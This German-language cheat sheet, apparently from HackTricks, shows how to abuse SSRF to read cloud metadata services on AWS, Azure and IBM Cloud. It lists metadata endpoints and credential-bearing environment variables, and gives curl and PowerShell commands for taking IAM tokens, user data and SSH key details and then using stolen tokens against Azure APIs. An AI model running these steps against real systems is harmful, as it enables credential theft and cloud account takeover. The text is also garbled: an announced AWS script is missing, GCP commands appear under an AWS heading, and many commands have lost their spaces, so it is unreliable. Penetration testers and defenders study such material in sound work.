Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud Github-Repositorys einreichen.
Try Hard Security Group
AWS
Missbrauch von SSRF in der AWS EC2-Umgebung
Das Metadaten-Endpunkt kann von innerhalb einer beliebigen EC2-Maschine aus zugegriffen werden und bietet interessante Informationen darüber. Es ist unter der URL zugänglich: http://169.254.169.254 (Informationen zu den Metadaten hier).
Es gibt 2 Versionen des Metadaten-Endpunkts. Die erste ermöglicht den Zugriff auf den Endpunkt über GET-Anfragen (so kann es von einem SSRF ausgenutzt werden). Für die Version 2, IMDSv2, müssen Sie einen Token anfordern, indem Sie eine PUT-Anfrage mit einem HTTP-Header senden und dann diesen Token verwenden, um auf die Metadaten mit einem anderen HTTP-Header zuzugreifen (daher ist es komplizierter, es mit einem SSRF auszunutzen).
Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, gemäß den Dokumenten, die Antwort der PUT-Anfrage eine Hop-Limit von 1 haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
Darüber hinaus wird IMDSv2 auch Anfragen blockieren, um einen Token abzurufen, die den X-Forwarded-For-Header enthalten. Dies dient dazu, zu verhindern, dass falsch konfigurierte Reverse-Proxys darauf zugreifen können.
Sie können Informationen zu den Metadaten-Endpunkten in den Dokumenten finden. Im folgenden Skript werden einige interessante Informationen daraus abgerufen:
Beachten Sie das aws_session_token, dies ist unerlässlich für das Profil, um zu funktionieren.
PACU kann mit den entdeckten Anmeldeinformationen verwendet werden, um Ihre Berechtigungen herauszufinden und zu versuchen, Berechtigungen zu eskalieren.
SSRF in AWS ECS (Container Service) Anmeldeinformationen
ECS ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Cluster-Management-Infrastruktur skalieren zu müssen, da ECS dies für Sie verwaltet. Wenn es Ihnen gelingt, den Dienst, der in ECS ausgeführt wird, zu kompromittieren, ändern sich die Metadaten-Endpunkte.
Wenn Sie auf http://169.254.170.2/v2/credentials/<GUID> zugreifen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie den <GUID> finden. Um den <GUID> zu finden, müssen Sie die environ-Variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI innerhalb der Maschine lesen.
Sie könnten in der Lage sein, sie auszulesen, indem Sie einen Path Traversal zu file:///proc/self/environ ausnutzen.
Die genannte http-Adresse sollte Ihnen den AccessKey, SecretKey und Token geben.
Beachten Sie, dass Sie in einigen Fällen möglicherweise auf die EC2-Metadateninstanz vom Container aus zugreifen können (überprüfen Sie die zuvor erwähnten IMDSv2 TTL-Beschränkungen). In diesen Szenarien könnten Sie sowohl auf die IAM-Rolle des Containers als auch auf die EC2-IAM-Rolle zugreifen.
SSRF für AWS Lambda
In diesem Fall sind die Anmeldeinformationen in Umgebungsvariablen gespeichert. Um auf sie zuzugreifen, müssen Sie etwas wie file:///proc/self/environ aufrufen.
Die Namen der interessanten Umgebungsvariablen sind:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Zusätzlich zu den IAM-Anmeldeinformationen verfügen Lambda-Funktionen auch über Ereignisdaten, die der Funktion beim Start übergeben werden. Diese Daten stehen der Funktion über die Laufzeit-Schnittstelle zur Verfügung und können sensible Informationen enthalten (wie in den stageVariables). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter http://localhost:9001/2018-06-01/runtime/invocation/next zugänglich.
Beachten Sie, dass Lambda-Anmeldeinformationen in den Umgebungsvariablen enthalten sind. Wenn der Stack-Trace des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie durch Hervorrufen eines Fehlers in der App zu exfiltrieren.
SSRF-URL für AWS Elastic Beanstalk
Wir rufen die accountId und region über die API ab.
Um das extrahierte Service-Konto-Token zu verwenden, können Sie einfach Folgendes tun:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Azure App Service
Aus der env können Sie die Werte von IDENTITY_HEADERundIDENTITY_ENDPOINT erhalten. Diese können Sie verwenden, um ein Token zum Sprechen mit dem Metadatenserver zu sammeln.
Meistens benötigen Sie ein Token für eine dieser Ressourcen:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Beachten Sie, dass in IBM standardmäßig Metadaten deaktiviert sind. Es ist daher möglich, dass Sie auch dann nicht darauf zugreifen können, wenn Sie sich innerhalb einer IBM Cloud-VM befinden.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Die Dokumentation für die Metadatendienste verschiedener Plattformen ist unten aufgeführt und hebt die Methoden hervor, über die Konfigurations- und Laufzeitinformationen für Instanzen abgerufen werden können. Jede Plattform bietet einzigartige Endpunkte für den Zugriff auf ihre Metadatendienste.